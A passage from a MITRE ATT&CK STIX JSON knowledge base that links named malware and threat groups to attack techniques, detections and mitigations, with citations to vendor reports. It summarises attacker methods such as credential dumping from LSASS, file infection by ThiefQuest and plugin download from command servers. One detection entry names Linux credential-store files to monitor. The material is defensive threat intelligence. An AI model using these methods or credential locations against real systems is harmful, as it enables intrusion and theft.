protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ffbf752-ed3a-47bb-8351-92ed7118dc5d","type":"relationship","created":"2021-03-18T16:33:07.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA EB Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a","description":"Cybersecurity and Infrastructure Security Agency. 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(2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."},{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."},{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can disable the VSS service on a compromised host using the service control manager.(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wizard March 2022)(Citation: Qualys Hermetic Wiper March 2022)","modified":"2022-04-15T01:43:57.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--baa3063b-13b9-4a32-adac-7c0cc40704c5","type":"relationship","created":"2020-05-11T21:30:27.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Frankenstein June 2019","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html","description":"Adamitis, D. et al. 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To decrypt the commands, an investigator would need access to the intended malware sample, the day's tweet, and the image file containing the command.(Citation: FireEye APT29)","relationship_type":"uses","source_ref":"malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85bddba6-3848-4d2d-a4fa-4c4b71274a02","type":"relationship","created":"2017-05-31T21:33:27.031Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-21T21:11:07.137Z","relationship_type":"mitigates","source_ref":"course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c","target_ref":"attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfde6757-e167-4792-a7ba-f40520f7d136","type":"relationship","created":"2019-03-26T16:19:52.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Nyetya June 2017","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."}],"modified":"2019-04-24T20:02:45.124Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) uses <code>rundll32.exe</code> to install itself on remote systems when accessed via [PsExec](https://attack.mitre.org/software/S0029) or <code>wmic</code>.(Citation: Talos Nyetya June 2017)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdabd7ca-bfbe-48d3-9da4-ad0022933336","type":"relationship","created":"2021-01-06T13:56:25.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-06T13:56:25.060Z","description":"(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b","target_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--252c0e02-0da6-4812-b147-81d9cfb3c998","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). 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Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"},{"source_name":"MuddyWater TrendMicro June 2018","description":"Villanueva, M., Co, M. (2018, June 14). Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor. Retrieved July 3, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/"},{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/","source_name":"Securelist MuddyWater Oct 2018"},{"description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. 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A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. 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(2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. 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Retrieved May 29, 2020."}],"modified":"2020-06-01T14:41:54.762Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to determine the domain name and whether a proxy is configured on a compromised host.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b16b1e0e-63b0-4c5b-8809-476d9645948c","type":"relationship","created":"2021-02-25T17:05:15.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 IronNetInjector February 2021 ","url":" https://unit42.paloaltonetworks.com/ironnetinjector/","description":"Reichel, D. (2021, February 19). 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Retrieved November 6, 2018."}],"modified":"2019-09-09T19:10:53.368Z","description":"[APT38](https://attack.mitre.org/groups/G0082) uses a tool called CLEANTOAD that has the capability to modify Registry keys.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94229aa6-c862-48b8-9959-1e1d3c04dd5e","type":"relationship","created":"2020-07-15T19:02:25.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM IcedID November 2017","url":"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/","description":"Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."}],"modified":"2020-08-14T14:25:54.007Z","description":"[IcedID](https://attack.mitre.org/software/S0483) can query LDAP to identify additional users on the network to infect.(Citation: IBM IcedID November 2017)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7113807-356f-455b-aaba-5c2822dd1394","type":"relationship","created":"2021-12-01T18:55:31.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-12-01T18:55:31.007Z","description":"[Chrommme](https://attack.mitre.org/software/S0667) can set itself to sleep before requesting a new command from C2.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--579607c2-d046-40df-99ab-beb479c37a2a","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ce50a6a-5f0b-40ca-9a71-41369ae3fdcd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Full Report","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"}],"modified":"2020-03-16T18:05:27.875Z","description":"[Remsec](https://attack.mitre.org/software/S0125) can exfiltrate data via a DNS tunnel or email, separately from its C2 channel.(Citation: Kaspersky ProjectSauron Full Report)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce8eb6bf-11cc-4d9f-a81a-57bd1422efb1","type":"relationship","created":"2020-11-08T23:26:13.891Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-08T23:26:13.891Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can execute PowerShell commands on the victim's machine.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c92afd0-50e1-42a7-97e0-6cec9b4f40cb","type":"relationship","created":"2021-04-23T01:52:58.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye HIKIT Rootkit Part 2","url":"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html","description":"Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."}],"modified":"2021-04-23T01:52:58.529Z","description":"[Hikit](https://attack.mitre.org/software/S0009) has attempted to disable driver signing verification by tampering with several Registry keys prior to the loading of a rootkit driver component.(Citation: FireEye HIKIT Rootkit Part 2)","relationship_type":"uses","source_ref":"malware--95047f03-4811-4300-922e-1ba937d53a61","target_ref":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1029fab5-5714-42d0-ac04-78f4c76c3c02","type":"relationship","created":"2021-01-25T13:58:25.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-03-12T21:10:53.130Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) can collect a variety of information from victim machines.(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7300af33-a55d-47a7-86a6-3b756abfc8e5","type":"relationship","created":"2021-03-22T02:08:48.949Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest partii","url":"https://objective-see.com/blog/blog_0x60.html","description":"Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."},{"source_name":"reed thiefquest ransomware analysis","url":"https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/","description":"Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."}],"modified":"2021-03-31T16:34:43.154Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) searches through the <code>/Users/</code> folder looking for executable files. For each executable, [ThiefQuest](https://attack.mitre.org/software/S0595) prepends a copy of itself to the beginning of the file. When the file is executed, the [ThiefQuest](https://attack.mitre.org/software/S0595) code is executed first. [ThiefQuest](https://attack.mitre.org/software/S0595) creates a hidden file, copies the original target executable to the file, then executes the new hidden file to maintain the appearance of normal behavior. (Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1f879a7-cd1e-4865-bc6a-9b42d36df62b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2020-03-17T16:25:23.448Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called MailSniper to search through the Exchange server mailboxes for keywords.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8edf0d8-3c24-4082-9177-1bfb6e7d95c6","type":"relationship","created":"2020-06-26T16:17:18.217Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:56.053Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has impersonated the legitimate goopdate.dll, which was dropped on the target system with a legitimate GoogleUpdate.exe.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49d115fb-7a5a-4a6a-959d-0d76ab8394fb","type":"relationship","created":"2020-03-17T19:28:58.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CitizenLab KeyBoy Nov 2016","url":"https://citizenlab.ca/2016/11/parliament-keyboy/","description":"Hulcoop, A., et al. (2016, November 17). It’s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019."}],"modified":"2020-03-17T19:28:58.355Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) uses Python scripts for installing files and performing execution.(Citation: CitizenLab KeyBoy Nov 2016)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d600c05-c617-46f4-947f-cdd6ca56d494","type":"relationship","created":"2020-10-20T15:52:49.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-16T17:44:09.635Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--320966af-53db-41e3-aaf0-f5fd68bce8ca","type":"relationship","created":"2020-07-15T20:23:36.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Prevx Carberp March 2011","url":"http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."},{"source_name":"Trusteer Carberp October 2010","url":"https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf","description":"Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020."}],"modified":"2020-08-03T15:17:32.013Z","description":"[Carberp](https://attack.mitre.org/software/S0484) can download and execute new plugins from the C2 server. (Citation: Prevx Carberp March 2011)(Citation: Trusteer Carberp October 2010)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d552463d-b74b-440c-a936-979e8615a844","created":"2022-03-30T14:26:51.871Z","x_mitre_version":"0.1","external_references":[{"source_name":"Medium Detecting Attempts to Steal Passwords from Memory","url":"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea","description":"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as  [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored. Monitor for unusual processes accessing <code>secrets.ldb</code> and <code>.secrets.mkey</code> located in <code>/var/lib/sss/secrets/</code>.","modified":"2022-04-20T01:40:12.952Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4050ee68-3f26-49e6-beec-e2a62133a1c3","type":"relationship","created":"2020-03-30T20:26:08.736Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET OceanLotus Mar 2019","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019."}],"modified":"2020-03-30T20:26:08.736Z","description":"An [APT32](https://attack.mitre.org/groups/G0050) backdoor can use HTTP over a non-standard TCP port (e.g 14146) which is specified in the backdoor configuration.(Citation: ESET OceanLotus Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8a65990-8385-440b-8733-940a69b05f4e","type":"relationship","created":"2020-07-27T15:20:50.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020."}],"modified":"2020-10-02T17:23:24.572Z","description":"[Pillowmint](https://attack.mitre.org/software/S0517) has used a PowerShell script to install a shim database.(Citation: Trustwave Pillowmint June 2020)\t","relationship_type":"uses","source_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2b9d474-44f8-4815-9f60-be81af2776ab","type":"relationship","created":"2020-10-20T03:24:09.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-04-15T03:29:18.851Z","description":"This cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad06b85a-a0df-41aa-8f45-f41504987918","type":"relationship","created":"2020-05-13T17:16:11.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."}],"modified":"2020-05-15T18:52:17.644Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used valid credentials for privileged accounts with the goal of accessing domain controllers.(Citation: CrowdStrike Grim Spider May 2019) ","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dafa1584-bdd9-4c46-be07-2d002a529948","type":"relationship","created":"2020-03-16T14:49:02.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/library/dn535501.aspx","description":"Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.","source_name":"TechNet Credential Theft"},{"url":"https://technet.microsoft.com/en-us/library/dn487450.aspx","description":"Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.","source_name":"TechNet Least Privilege"},{"url":"https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach","description":"Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.","source_name":"Microsoft Securing Privileged Access"}],"modified":"2022-02-10T22:26:34.043Z","description":"Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nLimit access to the root account and prevent users from modifying protected components through proper privilege separation (ex SELinux, grsecurity, AppArmor, etc.) and limiting Privilege Escalation opportunities.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73da57b5-e64f-44ee-85f7-d294c21fb534","type":"relationship","created":"2017-05-31T21:33:27.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). 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Consider analyzing packet contents to detect application layer 